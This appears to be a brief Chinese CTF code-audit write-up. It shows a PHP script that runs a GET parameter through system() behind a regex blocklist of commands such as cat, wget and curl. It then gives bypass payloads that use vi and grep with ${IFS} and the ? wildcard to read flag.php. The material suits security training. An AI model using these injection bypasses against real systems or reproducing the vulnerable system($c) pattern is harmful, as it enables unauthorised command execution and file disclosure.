代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
//这里对大部分函数,分号,空格,数字,*,%,tap键,&,`进行了过滤,并且函数内部无论写什么都会被正则匹配上
{
system($c);
}
}else{
highlight_file(__FILE__);
}
考虑没有过滤的函数例如
vi
grep
,再对空格进行绕过
```shell ?c=vi${IFS}fla?.php
利用grep,将文件中包含{的一行输出出来,等于grep { flag.php命令
?c=grep${IFS}{${IFS}fla?.php ```